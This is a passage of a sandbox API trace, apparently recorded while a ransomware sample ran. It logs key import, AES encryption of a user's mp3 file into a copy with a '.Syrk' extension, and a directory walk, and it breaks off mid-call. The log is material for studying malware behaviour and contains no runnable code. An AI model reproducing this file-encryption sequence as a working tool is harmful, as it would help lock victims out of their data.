SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.000] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.000] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0235.000] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0235.001] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.001] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0235.001] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.001] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.001] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0235.001] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.002] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.002] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0235.002] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.002] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.002] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0235.002] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.002] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.002] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0235.002] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.003] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0235.003] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.003] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0235.003] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.003] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0235.004] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0235.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0235.004] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.004] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0235.004] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.005] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.005] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0235.005] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.005] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.005] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0235.005] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.005] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.005] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.005] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.006] EtwEventActivityIdControl () returned 0x0 [0235.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.006] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.006] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0235.007] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d430) returned 1 [0235.009] CryptImportKey (in: hProv=0x5c4d430, pbData=0x2367fe8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69080) returned 1 [0235.009] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.009] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.010] EtwEventActivityIdControl () returned 0x0 [0235.010] EtwEventActivityIdControl () returned 0x0 [0235.010] EtwEventActivityIdControl () returned 0x0 [0235.017] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3")) returned 0x20 [0235.018] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3")) returned 0x20 [0235.018] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0235.018] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", lpFilePart=0x0) returned 0x49 [0235.019] EtwEventActivityIdControl () returned 0x0 [0235.019] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.019] EtwEventActivityIdControl () returned 0x0 [0235.019] EtwEventActivityIdControl () returned 0x0 [0235.019] EtwEventActivityIdControl () returned 0x0 [0235.022] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0235.022] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", lpFilePart=0x0) returned 0x49 [0235.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.023] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0235.023] GetFileType (hFile=0x454) returned 0x1 [0235.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.023] GetFileType (hFile=0x454) returned 0x1 [0235.023] EtwEventActivityIdControl () returned 0x0 [0235.023] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.024] EtwEventActivityIdControl () returned 0x0 [0235.024] EtwEventActivityIdControl () returned 0x0 [0235.024] EtwEventActivityIdControl () returned 0x0 [0235.025] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0235.025] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk", lpFilePart=0x0) returned 0x4e [0235.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.025] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0235.028] GetFileType (hFile=0x458) returned 0x1 [0235.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.028] GetFileType (hFile=0x458) returned 0x1 [0235.028] EtwEventActivityIdControl () returned 0x0 [0235.028] CryptGenRandom (in: hProv=0x5c4d430, dwLen=0x10, pbBuffer=0x237c860 | out: pbBuffer=0x237c860) returned 1 [0235.030] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.030] CryptDuplicateKey (in: hKey=0x5c69080, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c68e80) returned 1 [0235.030] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.030] CryptSetKeyParam (hKey=0x5c68e80, dwParam=0x4, pbData=0x237db98*=0x1, dwFlags=0x0) returned 1 [0235.030] CryptSetKeyParam (hKey=0x5c68e80, dwParam=0x1, pbData=0x237db64, dwFlags=0x0) returned 1 [0235.030] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.030] EtwEventActivityIdControl () returned 0x0 [0235.031] EtwEventActivityIdControl () returned 0x0 [0235.031] EtwEventActivityIdControl () returned 0x0 [0235.031] EtwEventActivityIdControl () returned 0x0 [0235.032] ReadFile (in: hFile=0x454, lpBuffer=0x23807d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23807d4*, lpNumberOfBytesRead=0x5a2e7d8*=0xf6c5, lpOverlapped=0x0) returned 1 [0235.033] CryptEncrypt (in: hKey=0x5c68e80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23947ec*, pdwDataLen=0x5a2e7cc*=0xf6c0, dwBufLen=0xf6c0 | out: pbData=0x23947ec*, pdwDataLen=0x5a2e7cc*=0xf6c0) returned 1 [0235.034] WriteFile (in: hFile=0x458, lpBuffer=0x237c93c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x237c93c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0235.035] WriteFile (in: hFile=0x458, lpBuffer=0x23957d8*, nNumberOfBytesToWrite=0xe6d4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23957d8*, lpNumberOfBytesWritten=0x5a2e7b0*=0xe6d4, lpOverlapped=0x0) returned 1 [0235.036] ReadFile (in: hFile=0x454, lpBuffer=0x23807d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23807d4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0235.036] CryptEncrypt (in: hKey=0x5c68e80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a3eb8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23a3eb8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0235.036] CryptEncrypt (in: hKey=0x5c68e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23a3ed4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23a3ed4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0235.036] WriteFile (in: hFile=0x458, lpBuffer=0x237c93c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x237c93c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0235.036] CloseHandle (hObject=0x458) returned 1 [0235.038] CloseHandle (hObject=0x454) returned 1 [0235.039] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.039] EtwEventActivityIdControl () returned 0x0 [0235.039] EtwEventActivityIdControl () returned 0x0 [0235.039] EtwEventActivityIdControl () returned 0x0 [0235.045] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3")) returned 0x20 [0235.049] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0235.049] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", lpFilePart=0x0) returned 0x49 [0235.049] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.049] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.049] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0235.049] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0235.049] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.050] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.050] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0235.050] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0235.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0235.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0235.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0235.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0235.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.051] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0235.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0235.051] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.051] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0235.051] GetFullPathNameW (in: 